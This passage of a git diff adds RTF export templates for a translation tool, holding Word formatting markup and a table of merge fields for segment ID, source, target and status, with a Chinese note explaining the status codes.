+\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv \qj \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 +\fs20\lang1024\langfe1024\loch\f0\hich\af0\dbch\af13\cgrid\langnp1024\langfenp1024 \sbasedon11 \snext15 \styrsid7231073 Table Grid;}{\*\cs16 \additive \ul\cf2 \sbasedon10 \styrsid5069513 Hyperlink;}}{\*\latentstyles\lsdstimax156\lsdlockeddef0} +{\*\rsidtbl \rsid599877\rsid608150\rsid1255587\rsid2698375\rsid2892456\rsid3934581\rsid3936425\rsid4081155\rsid4416445\rsid5069513\rsid5196498\rsid5662041\rsid5771882\rsid5840819\rsid6312964\rsid6377614\rsid6840796\rsid6968359\rsid7231073\rsid7690906 +\rsid8342235\rsid9201643\rsid9263924\rsid9456007\rsid9526854\rsid9962071\rsid10704782\rsid11083745\rsid11087189\rsid11414715\rsid11560315\rsid11737115\rsid11746903\rsid12479908\rsid12588362\rsid12613898\rsid12677781\rsid12715023\rsid13008020\rsid13137282 +\rsid13182432\rsid13577806\rsid13967210\rsid14033508\rsid14424044\rsid15869228\rsid16452716\rsid16723424}{\*\generator Microsoft Word 11.0.5604;}{\info{\author a}{\operator Peason Guo}{\creatim\yr2012\mo2\dy20\hr18\min42} +{\revtim\yr2012\mo6\dy17\hr17\min19}{\version38}{\edmins55}{\nofpages1}{\nofwords82}{\nofchars474}{\*\company a}{\nofcharsws555}{\vern24689}}\paperw11906\paperh16838\margl1800\margr1800\margt1440\margb1440\gutter0 +\deftab420\ftnbj\aenddoc\hyphcaps0\formshade\horzdoc\dgmargin\dghspace180\dgvspace156\dghorigin1800\dgvorigin1440\dghshow0\dgvshow2\jcompress\lnongrid +\viewkind1\viewscale130\splytwnine\ftnlytwnine\htmautsp\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\allowfieldendsel\wrppunct\asianbrkrule\rsidroot11087189\newtblstyruls\nogrowautofit {\*\fchars +!),.:\'3b?]\'7d\'a1\'a7\'a1\'a4\'a1\'a6\'a1\'a5\'a8\'44\'a1\'ac\'a1\'af\'a1\'b1\'a1\'ad\'a1\'c3\'a1\'a2\'a1\'a3\'a1\'a8\'a1\'a9\'a1\'b5\'a1\'b7\'a1\'b9\'a1\'bb\'a1\'bf\'a1\'b3\'a1\'bd\'a3\'a1\'a3\'a2\'a3\'a7\'a3\'a9\'a3\'ac\'a3\'ae\'a3\'ba\'a3\'bb\'a3\'bf\'a3\'dd\'a3\'e0\'a3\'fc\'a3\'fd\'a1\'ab\'a1\'e9 +}{\*\lchars ([\'7b\'a1\'a4\'a1\'ae\'a1\'b0\'a1\'b4\'a1\'b6\'a1\'b8\'a1\'ba\'a1\'be\'a1\'b2\'a1\'bc\'a3\'a8\'a3\'ae\'a3\'db\'a3\'fb\'a1\'ea\'a3\'a4}\fet0\sectd \linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj +{\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang +{\pntxta \dbch )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (} +{\pntxta \dbch )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}\trowd \irow0\irowband0\ts15\trgaph108\trleft-108\trbrdrt +\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid12677781\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrnone \clbrdrl\brdrnone \clbrdrb\brdrs\brdrw10 +\clbrdrr\brdrnone \cltxlrtb\clftsWidth3\clwWidth8568 \cellx8460\pard\plain \ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\fs15\cf6\insrsid13577806 \loch\af0\hich\af0\dbch\f13 \'d7\'a2\'a3\'ba}{\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b1\'ed\'b8\'f1}{ +\fs15\cf6\insrsid13577806\charrsid5662041 \hich\af0\dbch\af13\loch\f0 Status }{\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'c1\'d0\'b5\'c4\'d6\'b5\'d6\'d0\'a3\'ac}{\fs15\cf6\insrsid13577806\charrsid5662041 +\hich\af0\dbch\af13\loch\f0 0 }{\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'ce\'b4\'b7\'ad\'d2\'eb\'a3\'ac}{\fs15\cf6\insrsid13577806\charrsid5662041 \hich\af0\dbch\af13\loch\f0 1 }{ +\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'b2\'dd\'b8\'e5\'a3\'ac}{\fs15\cf6\insrsid13577806\charrsid5662041 \hich\af0\dbch\af13\loch\f0 2 }{\fs15\cf6\insrsid13577806\charrsid5662041 +\loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'cd\'ea\'b3\'c9\'b7\'ad\'d2\'eb\'a3\'ac}{\fs15\cf6\insrsid13577806\charrsid5662041 \hich\af0\dbch\af13\loch\f0 3 }{\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'d2\'d1 +\'c5\'fa\'d7\'bc\'a3\'ac}{\fs15\cf6\insrsid13577806\charrsid5662041 \hich\af0\dbch\af13\loch\f0 4 }{\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'d2\'d1\'c7\'a9\'b7\'a2\'a3\'ac}{ +\fs15\cf6\insrsid13577806\charrsid5662041 \hich\af0\dbch\af13\loch\f0 7 }{\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'cb\'f8\'b6\'a8\'d0\'d0\'a3\'ac}{\fs15\cf6\insrsid13577806\charrsid5662041 +\hich\af0\dbch\af13\loch\f0 8 }{\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'b2\'bb\'cc\'ed\'bc\'d3\'b5\'bd\'bc\'c7\'d2\'e4\'bf\'e2\'a3\'ac}{\fs15\cf6\insrsid13577806\charrsid5662041 \hich\af0\dbch\af13\loch\f0 +9 }{\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b4\'fa\'b1\'ed\'d2\'c9\'ce\'ca\'d0\'d0\'a1\'a3\'b8\'f7\'ca\'fd\'d7\'d6\'d6\'ae\'bc\'e4\'d2\'d4}{\fs15\cf6\insrsid13577806\charrsid5662041 \hich\af0\dbch\af13\loch\f0 & }{ +\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'cf\'e0\'c1\'ac\'b1\'ed\'ca\'be\'d7\'b4\'cc\'ac\'cd\'ac\'ca\'b1\'b4\'e6\'d4\'da\'a3\'ac\'ca\'fd\'d7\'d6\'ba\'cd}{\fs15\cf6\insrsid13577806\charrsid5662041 \hich\af0\dbch\af13\loch\f0 + & }{\fs15\cf6\insrsid13577806\charrsid5662041 \loch\af0\hich\af0\dbch\f13 \'b2\'bb\'c7\'f8\'b7\'d6\'c8\'ab\'bd\'c7\'b0\'eb\'bd\'c7\'a1\'a3}{\b\f35\fs18\insrsid13577806\charrsid9201643 \cell }\pard\plain +\ql \li0\ri0\widctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\f35\fs18\insrsid13577806\charrsid9201643 \trowd \irow0\irowband0 +\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid12677781\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrnone \clbrdrl\brdrnone \clbrdrb\brdrs\brdrw10 +\clbrdrr\brdrnone \cltxlrtb\clftsWidth3\clwWidth8568 \cellx8460\row }\trowd \irow1\irowband1\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv +\brdrs\brdrw10 \trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 +\clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth2880\clcbpatraw18 \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth3060\clcbpatraw18 \cellx6840\clvertalt +\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx8460\pard\plain +\ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst { +\b\f35\fs18\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $header_id \\* MERGEFORMAT }}{\fldrslt {\b\f35\fs18\lang1024\langfe1024\noproof\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $header_id}}}{ +\b\f35\fs18\insrsid13577806\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\b\f35\fs18\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $header_source \\* MERGEFORMAT }}{\fldrslt { +\b\f35\fs18\lang1024\langfe1024\noproof\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $header_source}}}{\b\f35\fs18\insrsid13577806\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\b\f35\fs18\insrsid13577806\charrsid9201643 +\hich\af35\dbch\af13\loch\f35 MERGEFIELD $header_target \\* MERGEFORMAT }}{\fldrslt {\b\f35\fs18\lang1024\langfe1024\noproof\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $header_target}}}{\b\f35\fs18\insrsid13577806\charrsid9201643 +\cell }{\field\fldedit{\*\fldinst {\b\f35\fs18\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $header_status \\* MERGEFORMAT }}{\fldrslt {\b\f35\fs18\lang1024\langfe1024\noproof\insrsid13577806\charrsid9201643 +\hich\af35\dbch\af13\loch\f35 $header_status}}}{\b\f35\fs18\insrsid13577806\charrsid9201643 \cell }\pard\plain \ql \li0\ri0\widctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\f35\fs18\insrsid13577806\charrsid9201643 \trowd \irow1\irowband1\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 +\trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol +\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 +\clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2880\clcbpatraw18 \cellx3780\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth3060\clcbpatraw18 +\cellx6840\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx8460\row }\trowd \irow2\irowband2\lastrow \ts15\trgaph108\trleft-108\trbrdrt +\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb +\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2880\clshdrawnil \cellx3780 +\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3060\clshdrawnil \cellx6840\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx8460\pard\plain \ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst {\f35\fs18\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $es.Id \\* MERGEFORMAT }}{\fldrslt { +\f35\fs18\lang1024\langfe1024\noproof\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $es.Id}}}{\f35\fs18\insrsid13577806\charrsid9201643 \cell }\pard +\ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\f35\fs18\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $es.Source \\* MERGEFORMAT }}{\fldrslt { +\f35\fs18\lang1024\langfe1024\noproof\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $es.Source}}}{\f35\fs18\insrsid13577806\charrsid9201643 \cell }\pard +\ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 {\field\fldedit{\*\fldinst {\f35\fs18\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $es.Target \\* MERGEFORMAT }}{\fldrslt { +\f35\fs18\lang1024\langfe1024\noproof\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $es.Target}}}{\f35\fs18\insrsid13577806\charrsid9201643 \cell }\pard +\ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\f35\fs18\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $es.Status \\* MERGEFORMAT }}{\fldrslt { +\f35\fs18\lang1024\langfe1024\noproof\insrsid13577806\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $es.Status}}}{\f35\fs18\insrsid13577806\charrsid9201643 \cell }\pard\plain \ql \li0\ri0\widctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\f35\fs18\insrsid13577806\charrsid9201643 \trowd \irow2\irowband2\lastrow \ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb +\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth3\trwWidth8568\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid13577806\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb +\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2880\clshdrawnil \cellx3780 +\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3060\clshdrawnil \cellx6840\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx8460\row }\pard \ql \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid3936425 {\insrsid608150 +\par }} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_status_en.rtf b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_status_en.rtf new file mode 100644 index 0000000..afed62b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_status_en.rtf @@ -0,0 +1,233 @@ +{\rtf1\adeflang1025\ansi\ansicpg936\uc2\adeff0\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\f13\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f34\fbidi \froman\fcharset134\fprq2{\*\panose 02040503050406030204}Cambria Math;} +{\f38\fbidi \fswiss\fcharset134\fprq2{\*\panose 00000000000000000000}Tahoma;}{\f39\fbidi \fnil\fcharset134\fprq2{\*\panose 00000000000000000000}@\'cb\'ce\'cc\'e5;} +{\flomajor\f31500\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};} +{\fhimajor\f31502\fbidi \froman\fcharset134\fprq2{\*\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\flominor\f31504\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};} +{\fhiminor\f31506\fbidi \fswiss\fcharset134\fprq2{\*\panose 020f0502020204030204}Calibri;}{\fbiminor\f31507\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f41\fbidi \froman\fcharset238\fprq2 Times New Roman CE;} +{\f42\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\f44\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\f45\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\f46\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\f47\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f48\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\f49\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\f173\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};}{\f381\fbidi \froman\fcharset238\fprq2 Cambria Math CE;}{\f382\fbidi \froman\fcharset204\fprq2 Cambria Math Cyr;}{\f384\fbidi \froman\fcharset161\fprq2 Cambria Math Greek;} +{\f385\fbidi \froman\fcharset162\fprq2 Cambria Math Tur;}{\f388\fbidi \froman\fcharset186\fprq2 Cambria Math Baltic;}{\f421\fbidi \fswiss\fcharset238\fprq2 Tahoma CE;}{\f422\fbidi \fswiss\fcharset204\fprq2 Tahoma Cyr;} +{\f424\fbidi \fswiss\fcharset161\fprq2 Tahoma Greek;}{\f425\fbidi \fswiss\fcharset162\fprq2 Tahoma Tur;}{\f426\fbidi \fswiss\fcharset177\fprq2 Tahoma (Hebrew);}{\f427\fbidi \fswiss\fcharset178\fprq2 Tahoma (Arabic);} +{\f428\fbidi \fswiss\fcharset186\fprq2 Tahoma Baltic;}{\f429\fbidi \fswiss\fcharset163\fprq2 Tahoma (Vietnamese);}{\f430\fbidi \fswiss\fcharset222\fprq2 Tahoma (Thai);}{\f433\fbidi \fnil\fcharset134\fprq2 @\'cb\'ce\'cc\'e5 Western;} +{\flomajor\f31508\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flomajor\f31509\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;} +{\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} +{\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbmajor\f31520\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};} +{\fhimajor\f31528\fbidi \froman\fcharset238\fprq2 Cambria CE;}{\fhimajor\f31529\fbidi \froman\fcharset204\fprq2 Cambria Cyr;}{\fhimajor\f31531\fbidi \froman\fcharset161\fprq2 Cambria Greek;}{\fhimajor\f31532\fbidi \froman\fcharset162\fprq2 Cambria Tur;} +{\fhimajor\f31535\fbidi \froman\fcharset186\fprq2 Cambria Baltic;}{\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbimajor\f31539\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} +{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flominor\f31549\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;} +{\flominor\f31552\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flominor\f31553\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flominor\f31554\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} +{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbminor\f31560\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};} +{\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\fhiminor\f31569\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;}{\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;} +{\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbiminor\f31579\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} +{\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbiminor\f31586\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}} +{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0; +\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;\red255\green255\blue255;\red250\green191\blue143;}{\*\defchp \fs21\kerning2\dbch\af13 }{\*\defpap +\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 }\noqfpromote {\stylesheet{\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \snext0 \sqformat \spriority0 Normal;}{\*\cs10 \additive \ssemihidden Default Paragraph Font;}{\* +\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblind0\tblindtype3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\ql 